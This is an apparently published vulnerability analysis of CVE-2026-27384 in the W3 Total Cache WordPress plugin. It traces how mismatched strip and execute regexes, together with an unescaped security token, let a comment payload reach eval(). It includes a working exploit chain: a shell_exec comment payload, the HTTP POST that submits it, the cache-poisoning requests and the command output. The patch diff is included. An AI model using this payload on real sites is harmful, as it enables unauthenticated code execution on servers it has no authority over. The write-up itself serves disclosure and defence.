W3 Total Cache's Dynamic Fragment Caching feature runs eval() on PHP code wrapped in HTML comments. Two functions touch those comments. strip_dynamic_fragment_tags_from_string() removes them from user-supplied content before they reach the cache. _parse_dynamic() runs them when the cache serves the page. The strip function's regex requires at least one whitespace between mfunc and the security token; the executor's regex requires zero or more. A comment shaped <!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA --> passes the strip and reaches the executor. The function that deletes the dangerous tag is stricter than the function that runs it.
CVE-2026-27384: W3 Total Cache's Strip Filter Was Stricter Than Its Executor
vendor
patterns
cve
proof of concept
The mfunc feature runs eval() on the content of HTML comments
W3 Total Cache ships a feature called Dynamic Fragment Caching. The plugin's own developer notes describe it as the way to keep one snippet of a cached page live while everything around it stays static. Developers wrap a piece of PHP in HTML comments using a tag form <!-- mfunc TOKEN php_code -->. When W3TC serves the page from cache, it scans the cached HTML for that tag, extracts the PHP between the opening and closing comments, and passes it to eval(). The eval output replaces the comment in the response.
The "security" of this feature is a token. The site administrator defines W3TC_DYNAMIC_SECURITY in wp-config.php and the tag must carry that token between mfunc and the code. If the token is absent or wrong, the comment is supposed to pass through unprocessed. The threat model: legitimate plugin authors who know the token embed dynamic snippets; everyone else cannot reach eval().
The threat model breaks when two regexes disagree about what counts as a tag.
Two regexes for the same tag
strip_dynamic_fragment_tags_from_string() lives in Generic_Plugin.php. W3TC registers it as a filter on preprocess_comment, the_content_feed, the_excerpt_rss, and comment_text_rss. Anywhere user-supplied content can land in the published page, this function gets a pass at it. Its job is to remove any mfunc or mclude tag before the content reaches cache.
// Generic_Plugin.php, 2.9.1
private function strip_dynamic_fragment_tags_from_string( $value ) {
if ( ! is_string( $value ) || ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) ) {
return $value;
}
$pattern = array(
'~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
'~<!--\s*mclude\s+[^\s]+.*?-->(.*?)<!--\s*/mclude\s+[^\s]+.*?\s*-->~Uis',
);
// preg_replace_callback over $pattern follows.
}The strip function does not know what the security token is. It cannot. The same code runs against every comment and every feed item, indifferent to which token the administrator configured. So its regex slots the token as [^\s]+, one or more non-whitespace characters. Any non-whitespace placeholder in the token position counts. The strip is meant to be defense in overcorrection: strip anything that looks like an mfunc tag, regardless of which token sits in the slot.
_parse_dynamic() in PgCache_ContentGrabber.php is the executor. It runs on the cache-serve path. Its regex is built differently:
// PgCache_ContentGrabber.php, 2.9.1
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);The executor interpolates the actual token value straight into the regex pattern. No preg_quote(). Whatever string the administrator wrote as W3TC_DYNAMIC_SECURITY becomes part of the regex. The token slot is no longer "any non-whitespace"; it is the literal token value, parsed as regex syntax.
Read both patterns at the level of the whitespace between mfunc and the token:
- Strip:
mfunc\s+[^\s]+, one or more whitespace, then one or more non-whitespace - Executor:
mfunc\s*then the token, zero or more whitespace, then the token
A comment shaped <!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA --> carries zero whitespace between mfunc and the A. The strip's \s+ does not match. The strip passes the comment through unchanged. The executor's \s* matches zero whitespace. If the configured token happens to be a regex metacharacter that matches A, the executor runs the embedded PHP.
The strip wants to delete every tag the executor would run. The executor runs the tags the strip did not see. This is Gate Narrower Than Sink: a security filter and a downstream sink each parse the same input through their own matcher, the filter's grammar is strictly contained within the sink's, inputs in the difference flow through unfiltered to the sink. The two matchers were written to describe the same syntactic object. They did not agree.
The token doubles as a regex pattern
The second half of the chain is the missing preg_quote(). The executor takes whatever the administrator wrote as W3TC_DYNAMIC_SECURITY and pastes it into the regex pattern as-is. Administrators choosing a token are choosing a regex pattern, even when they do not know it.
Tokens that look like placeholders to a human read differently to PCRE:
define( 'W3TC_DYNAMIC_SECURITY', '.' );
define( 'W3TC_DYNAMIC_SECURITY', '.*' );In regex syntax, . matches any single character. .* matches any string. An administrator who reads "Dynamic Security" and types a placeholder dot has built mfunc. into the executor: the literal mfunc followed by any character. The bypass character A matches .. Comments shaped <!-- mfuncA ... --> reach the executor regardless of what the token was supposed to be.
This is the precondition the PoC's README admits up front: W3TC_DYNAMIC_SECURITY must contain a regex metacharacter. Without one, the attacker still needs to know the actual token. With one, knowing it is no longer required. The metacharacter becomes the universal token.
The complete chain
The attacker posts a WordPress comment whose body is the bypass payload:
POST /wp-comments-post.php HTTP/1.1
Host: target.tld
Content-Type: application/x-www-form-urlencoded
comment=<!--+mfuncA+echo+shell_exec(%22id%22)%3B+--><!--+/mfuncA+-->&author=Visitor&[email protected]&comment_post_ID=1WordPress fires the preprocess_comment filter. W3TC's strip_dynamic_fragment_tags_from_string runs. Its regex requires \s+ between mfunc and the token slot. The payload has zero whitespace there. No match. The comment is saved to the database verbatim.
The comment enters moderation or auto-approval depending on the site's WordPress settings. On a site where comments from previously-approved authors are auto-approved, an attacker who has any approved comment under the same name and email gets immediate publication. On a site where comments require manual approval, the payload sits until an administrator clicks Approve. Either path lands the payload in the rendered post page.
GET /?p=1 HTTP/1.1
Host: target.tldW3TC caches the rendered page. The cached HTML includes the comment's content inside the comments section. The cache is now poisoned.
GET /?p=1 HTTP/1.1
Host: target.tldThe second request hits the cache. W3TC reads the cached buffer and calls _has_dynamic($buffer). With W3TC_DYNAMIC_SECURITY set to ., that function's regex resolves to ~<!--\s*m(func|clude)\s*.(.*)-->~Uis. The . matches A. _has_dynamic returns true. Control falls through to _parse_dynamic, which calls _parse_dynamic_mfunc on the matched tag. The handler extracts the PHP between the opening --> and closing <!-- and passes it to eval().
uid=33(www-data) gid=33(www-data) groups=33(www-data)Unauthenticated remote code execution. The CVE description names "code injection." The mechanism is the executor processing what the stripper was supposed to delete.
The patch lines up the regexes
PgCache_ContentGrabber.php in 2.9.2 changes two parts of each regex:
- '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
+ '~<!--\s*mfunc\s+' . $security . '(.*)-->(.*)<!--\s*/mfunc\s+' . $security . '\s*-->~Uis',$security is preg_quote( W3TC_DYNAMIC_SECURITY, '~' ). The first change makes the executor's whitespace requirement match the stripper's: \s+ now on both sides of the trust boundary. The second change neutralizes regex metacharacters in the token. _has_dynamic gets the same treatment and adds empty() and 1 === (int) guards against tokens whose string form is empty or 1.
What the patch does not change: the mfunc feature still runs eval() on the content of HTML comments that survive the strip. The strip coverage is still defined by a deny-list regex applied at four WordPress content-filter hooks. The defense in depth remains a strip function before the cache and an executor with a tighter regex on the cache-serve path. The two regexes are now textually identical at the token boundary, which is the part that broke this time.
The next divergence is one development cycle away. The cache-serve path's greedy (.*) match between the opening and closing tags is unchanged. The stripper's lazy .*? match between them is unchanged. The two functions still parse the body of the tag through different greediness semantics. The same shape of Gate Narrower Than Sink is one code edit away from a new instance, on the next code path where one of the regexes is updated without the other. The substrate this CVE leaves in place is Unpatchable Primitive-shaped: eval() on the content of cached HTML comments is what the feature does. The patch closes one bypass of one gate that guards it. The substrate stays.
The patch makes both regexes agree on whitespace. The eval() on the content of HTML comments is unchanged.